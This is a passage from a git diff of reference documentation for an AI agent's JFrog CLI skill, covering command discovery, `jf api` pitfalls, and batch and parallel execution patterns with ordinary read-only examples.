Description | |-------|-------------| | `name` | Label name | -| `description` | What the label represents | +| `description` | What label represents | | `color` | Display color | | `labelType` | `MANUAL` or `AUTOMATIC` | -| `assignmentInfo` | How and when the label was assigned | +| `assignmentInfo` | How/when label assigned | -Labels can be assigned to both custom packages and public packages/versions -within the org's catalog scope. The Custom Catalog mutations allow -creating, updating, and deleting labels. +Labels assignable to custom packages + public packages/versions within org catalog scope. Custom Catalog mutations: create, update, delete labels. ### CustomCatalogFederation -Configuration for federating catalog data across JFrog deployments. +Config for federating catalog data across JFrog deployments. ## Catalog vs. Xray vs. Stored Packages -These three domains provide different views of package and security data: +Three domains, different views of package + security data: | Aspect | Catalog | Xray | Stored Packages | |--------|---------|------|-----------------| diff --git a/skills/jfrog/references/cli-command-discovery.md b/skills/jfrog/references/cli-command-discovery.md new file mode 100644 index 0000000..bbe6263 --- /dev/null +++ b/skills/jfrog/references/cli-command-discovery.md @@ -0,0 +1,39 @@ +# CLI command discovery + +> **Tier B MUST** when discovery beyond `--help` is needed. Not every CLI / setup. + +Use `--help` to verify uncertain options. Do not rely on memorized commands +outside this skill — they may be outdated. + +1. `jf --help` — namespaces and top-level commands +2. `jf --help` — subcommands in a namespace +3. `jf --help` — usage, arguments, options + +## CLI namespaces + +| Namespace | Alias | Product | +|-----------|-------|---------| +| `rt` | | Artifactory | +| `xr` | | Xray | +| `ds` | | Distribution V1 | +| `at` | `apptrust` | AppTrust | +| `evd` | | Evidence | +| `mc` | | Mission Control | +| `worker` | | Workers | +| `config` | `c` | CLI server configuration | +| `plugin` | | CLI plugin management | +| `ide` | | IDE integration | + +> **Sunset notice:** JFrog Pipelines has been sunset and is no longer supported. +> Do not use the `pl` CLI namespace or the Pipelines REST API +> (`/pipelines/api/...`). If a user asks about Pipelines, inform them the +> product has been sunset. + +Top-level lifecycle commands (no namespace): `rbc`, `rbp`, `rbd`, `rba`, +`rbf`, `rbe`, `rbi`, `rbs`, `rbu`, `rbdell`, `rbdelr`. + +Top-level security commands: `audit`, `scan`, `build-scan`, `curation-audit`, +`sbom-enrich`. + +Top-level other: `access-token-create` (`atc`), `login`, `how`, `stats`, +`generate-summary-markdown`, `exchange-oidc-token`, `completion`. diff --git a/skills/jfrog/references/cli-gotchas.md b/skills/jfrog/references/cli-gotchas.md new file mode 100644 index 0000000..410b205 --- /dev/null +++ b/skills/jfrog/references/cli-gotchas.md @@ -0,0 +1,80 @@ +# CLI and `jf api` gotchas + +> **Tier B MUST** before `jf api` / AQL / advanced CLI I/O / MCP-via-shell. +> Not tips. Not required for every CLI / `jf setup` (use SKILL.md Tier A floor). +> Tier A bullets do **not** replace this file on Tier B paths. + +Hard rules and known failure modes: + +## MCP tools + +- MCP tools return structured data in the tool result. Read response fields + directly; do not pipe MCP output through shell commands or `jq`. + +## CLI and `jf api` + +- `jf api` requires the **product prefix** in the path. Omitting it returns + 404. See `references/jf-api.md` for the full product-prefix table. +- `jf api` writes the body (success or error JSON) to **stdout** and + `[Info] Http Status: NNN` to **stderr** on every call; non-2xx also exits + 1 and adds `[Warn] jf api: returned NNN`. Pipe stdout to + `jq` directly; **never `2>&1 | jq`** — stderr corrupts the JSON. To keep + diagnostics: `jf api 2>/tmp/err-$$.log | jq .`. +- `jf api` has **no `-L`** (follow redirects) and **no `-o`** (output file). + Save bodies with shell redirection + (`jf api ... > /tmp/out-$$.json`); for + binary downloads through the Artifactory remote proxy prefer `jf rt dl`, + which handles the cache and redirect semantics natively. +- Remote repository content is stored in a `-cache` suffixed repo. Properties + and AQL queries for remote repo artifacts must target the cache repo. + Conversely, `/api/repositories/` only accepts the parent remote key + (without `-cache`) — strip the suffix for configuration lookups. +- **Do not use `jf rt search`** — always use a direct AQL query via + `jf api /artifactory/api/search/aql -X POST -H "Content-Type: text/plain" -d ''`. + See `references/artifactory-aql-syntax.md`. +- Use `--quiet` flag for non-interactive execution (suppresses confirmation + prompts). **Caution:** `--quiet` is not a global flag — commands that do not + support it (e.g. `jf rt s`, `jf rt ping`) will fail with misleading errors + like "Wrong number of arguments" or "flag provided but not defined". Check + `--help` for a command before adding `--quiet`. +- Use `--server-id` when targeting a non-default server. If a command fails + with `--server-id`, do not retry without it — that silently targets the + default server instead. See `SKILL.md` → Server selection rules. +- Never use interactive commands. All JFrog CLI operations must be performed + non-interactively. Known interactive commands to avoid: `jf config add`, + `jf login`, `jf rt repo-template`, `jf rt permission-target-template`, and + `jf rt replication-template`. For server setup, follow `references/jfrog-login-flow.md`. + For templates, use JSON schemas or REST API. If a command prompts for input + unexpectedly, find the non-interactive alternative via `--help` or REST API. +- `jf config export` output is base64-encoded JSON. Decode with + `base64 -d | jq` to extract fields. +- Build info lookups require a scope (`?buildRepo=` or `?project=`) — + resolve it before calling the API. See `references/artifactory-operations.md` + §Retrieving build info for the full workflow. +- If a `jf api` call returns 401, the configured token may have expired or + been rotated — ask the user to re-run the login flow (see + `references/jfrog-login-flow.md`) for the **same** server. If 403, the + token lacks required permissions. If 404, verify the endpoint path + (especially the product prefix) and target server version. On any of + these errors, do not try a different configured server as a workaround — + that targets a different environment. Report the error and ask the user. +- **Xray contextual analysis:** the summary artifact response has two + applicability fields — `applicability` (top-level, often null) and + `applicability_details` (always present with a `result` string). **Use + `applicability_details[].result` for counts and summaries.** Using the + top-level `applicability` field for aggregation produces wrong counts because + it is null when no scanner exists. See `references/xray-entities.md` + §Contextual analysis for the eight possible result values and jq snippets. +- **OneModel GraphQL:** always fetch the supergraph schema from the **same** + server you query before building operations (schemas differ by deployment); + cache, validate, and execute per `references/onemodel-graphql.md`. +- Never duplicate a network-fetching command to retry `jq` parsing — save the + response to a temp file first (see `references/preserving-command-output.md`). +- When collecting detail responses in a loop (e.g. per-repo GETs), validate + each body with `jq -e .` before appending to a results file. One non-JSON + or empty response corrupts a downstream `jq -s` slurp. Write validated + lines to an NDJSON file, then `jq -s '.' file.ndjson` to produce the final + array. See `references/general-bulk-operations-and-agent-patterns.md`. +- Accumulated edge cases from real tasks live in `references/general-use-case-hints.md` + — read when debugging odd failures; **append** a short entry when you confirm + a new, reusable gotcha. diff --git a/skills/jfrog/references/general-bulk-operations-and-agent-patterns.md b/skills/jfrog/references/general-bulk-operations-and-agent-patterns.md index 2b44979..2fe30f4 100644 --- a/skills/jfrog/references/general-bulk-operations-and-agent-patterns.md +++ b/skills/jfrog/references/general-bulk-operations-and-agent-patterns.md @@ -1,70 +1,55 @@ # Bulk operations and agent execution patterns -Platform-wide guidance for agents that gather data from multiple JFrog products -(Artifactory, Xray, Access, Distribution, etc.), run long shell -sequences, or parallelize work. Product-specific field names and endpoints live -in the other `references/*` files; this document describes **patterns**, not -one workflow. +Platform-wide guidance for agents gathering data from multiple JFrog products +(Artifactory, Xray, Access, Distribution, etc.), long shell sequences, or +parallel work. Product field names/endpoints in other `references/*` files; +this document = **patterns**, not one workflow. ## List vs detail responses -Many REST surfaces expose a **light list** (keys, names, minimal fields) and a -**richer GET by id or key**. Fields needed for audits, reporting, joins, or -permission checks may appear **only** on the detail response. Before building a -multi-step flow on a single list call, confirm in API docs or with a sample GET -whether the fields you need are present. +REST: **light list** + **detail GET**. Audit/join/permission fields often +detail-only — confirm via docs or sample GET before building on list alone. ## Volume, batching, and timeouts -- Estimate **N** round-trips (list + per-item GETs, paginated APIs, etc.) before - starting so execution time and tool timeouts stay predictable. -- Prefer batching independent reads in one Shell invocation when credentials and - tier match (see SKILL.md **Batch and parallel execution**). -- Split very large work across chunks, parallel Shell calls, or subagents when - the skill's tiering guidance says so. -- Before starting an N+1 loop (list + per-item detail), **estimate wall time** - as roughly `N * 1.5s` for sequential calls. Set `block_until_ms` to at - least that estimate plus a 30-second buffer. -- For loops exceeding ~60 items, prefer a single Shell invocation that writes - progress to a log file (`>> /tmp/jf-progress-$$.log`) so partial results - are visible even if the job is interrupted. -- If the task is read-only and items are independent, consider Tier 2 or - Tier 3 parallelism (see `general-parallel-execution.md`) to reduce total time — - but respect rate limits and keep concurrency modest (4-8 parallel calls). +- Estimate **N** round-trips before starting. +- Batch independent reads in one Shell when credentials/tier match (SKILL.md + **Batch and parallel execution**). +- Large work → chunks, parallel Shell, or subagents per tiering. +- N+1 loop: wall time ≈ `N * 1.5s`; `block_until_ms` ≥ estimate + 30s. +- > ~60 items: Shell + progress log (`>> /tmp/jf-progress-$$.log`). +- Read-only independent items: Tier 2/3 (`general-parallel-execution.md`); + rate limits; 4-8 parallel calls. ## Parallelism and shared files -**Unsafe:** Multiple concurrent processes appending lines to the **same** file -(JSONL, logs, ndjson) without synchronization. Output can interleave on one -line and break parsers (e.g. JSON "Extra data" errors). +**Unsafe:** Concurrent processes appending to **same** file (JSONL, logs, ndjson) +without sync → interleaved lines, broken parsers (JSON "Extra data" errors). **Safer:** - Write sequentially to one file; or - One temp file per worker or chunk, then concatenate; or -- Use advisory locking (`flock`) if one file must be shared. +- Advisory locking (`flock`) if one file must be shared. -For bulk API or CLI output files, use `/tmp` or `mktemp`; do not use -`~/.jfrog/skills-cache/` except for `jfrog-skill-state.json` and the OneModel -schema file (see main SKILL.md). +Bulk API/CLI output: `/tmp` or `mktemp`; not `~/.jfrog/skills-cache/` except +`jfrog-skill-state.json` and OneModel schema (main SKILL.md). ## Shell hygiene -- Use `set -euo pipefail` in non-trivial scripts so failures are not silent. -- Use unique temp paths (e.g. `$$` in the filename) and **echo the expanded - path** so it can be reused across Shell calls (see SKILL.md **Preserving - command output** for the `$$` + echo, session ID, and hardcoded patterns). -- Parse CLI and API JSON with **`jq`**. +- `set -euo pipefail` in non-trivial scripts — failures not silent. +- Unique temp paths (`$$` in filename) + **echo expanded path** for cross-call + reuse (SKILL.md **Preserving command output** — `$$` + echo, session ID, hardcoded patterns). +- Parse CLI/API JSON with **`jq`**. ## Safe multi-response collection -When looping over items (repos, builds, users) and fetching detail for each: +Looping items (repos, builds, users) + per-item detail: -1. Save each response to a variable or per-item file. +1. Save each response to variable or per-item file. 2. Validate with `jq -e . >/dev/null 2>&1` before appending. -3. On validation failure, write a structured error line so the caller can - report partial results instead of crashing. -4. After the loop, `jq -s '.' results.ndjson` to produce a single array. +3. On validation failure, structured error line → partial results without crash. +4. After loop, `jq -s '.' results.ndjson` → single array. ```bash : >results.ndjson @@ -79,8 +64,7 @@ done < <(jq -r '.[].key' list.json) jq -s '.' results.ndjson > details.json ``` -Never pipe a loop of `jf api` calls directly into `jq -s` without -per-body validation. +Never pipe loop of `jf api` calls directly into `jq -s` without per-body validation. ## Where to find product specifics diff --git a/skills/jfrog/references/general-parallel-execution.md b/skills/jfrog/references/general-parallel-execution.md index a0bb9ba..be7c252 100644 --- a/skills/jfrog/references/general-parallel-execution.md +++ b/skills/jfrog/references/general-parallel-execution.md @@ -1,20 +1,17 @@ # Batch and Parallel Execution -When a task requires multiple independent operations, use the lightest -parallelism mechanism that fits. Three tiers are available, from lightest to -heaviest: +Multiple independent operations → use lightest parallelism tier: | Tier | Mechanism | Best for | |------|-----------|----------| | 1 | Single Shell call with `&&` | Few commands, same credentials | -| 2 | Parallel Shell tool calls | Independent commands that can run concurrently | -| 3 | Parallel subagents (Task tool) | Large multi-step jobs where each branch needs its own reasoning | +| 2 | Parallel Shell tool calls | Independent commands, concurrency helps | +| 3 | Parallel subagents (Task tool) | Large multi-step jobs, each branch needs reasoning | ## Tier 1: Batch within a single Shell call -Combine independent commands with `&&`. All JFrog API calls go through the -same `jf api` command and the same `jf config` server, so batching them -together is both safe and efficient: +Combine independent commands with `&&`. All JFrog API calls share `jf api` + +`jf config` server — batching is safe and efficient: ```bash jf api /artifactory/api/repositories > /tmp/jf-repos-$$.json && \ @@ -22,18 +19,13 @@ jf api /artifactory/api/system/ping > /tmp/jf-ping-$$.json && \ jf api /artifactory/api/storageinfo > /tmp/jf-storage-$$.json ``` -Cross-product reads batch the same way: - -```bash -jf api /access/api/v2/users/ > /tmp/jf-users-$$.json && \ -jf api /access/api/v2/groups/ > /tmp/jf-groups-$$.json && \ -jf api /access/api/v2/permissions/ > /tmp/jf-perms-$$.json -``` +Cross-product reads (Access, Xray, etc.) batch the same way — same `jf api` +command, just a different path per call. ## Tier 2: Parallel Shell tool calls -Use multiple Shell tool calls in the same message when the commands are -independent and the total runtime benefits from concurrency: +Multiple Shell tool calls in one message when commands are independent and +concurrency cuts runtime: ```bash # Shell call 1 — echo the expanded path so the agent can reference it later @@ -45,20 +37,13 @@ OUT=/tmp/jf-users-$$.json jf api /access/api/v2/users/ > "$OUT" && echo "$OUT" ``` -Each parallel Shell call gets a different PID, so `$$` expands to different -values. Echo the path so the agent knows the literal filename for cross-call -use (see SKILL.md **Preserving command output**). +Each parallel Shell call gets different PID → `$$` differs. Echo path for +cross-call use (see SKILL.md **Preserving command output**). ## Tier 3: Parallel subagents -For tasks with multiple independent branches that each require several steps -or their own reasoning — such as generating a platform health report with -separate sections, auditing both repository config and security policies, or -comparing configurations across servers the user explicitly named — launch -parallel subagents using the Task tool. - -Each subagent runs autonomously, executes its own CLI/API calls, and returns -a structured result. The parent agent assembles the final answer. +Multi-branch tasks (health reports, audits, user-named cross-server compare) +→ Task tool subagents. Each runs autonomously; parent merges results. ### Example — platform audit with three parallel subagents @@ -80,26 +65,20 @@ Subagent 3 (shell): "Collect user and permission data" → Return user count, group count, admin users ``` -All three subagents run concurrently. Once all complete, the parent agent -merges their results into a unified report. +All three run concurrently. Parent merges into unified report. ### How to structure a subagent prompt -1. State the goal clearly (e.g. "Collect all Xray policies and watches"). -2. Provide the exact commands to run, or name the API tier and let the - subagent discover via `--help`. -3. Tell the subagent to save output to `/tmp/jf-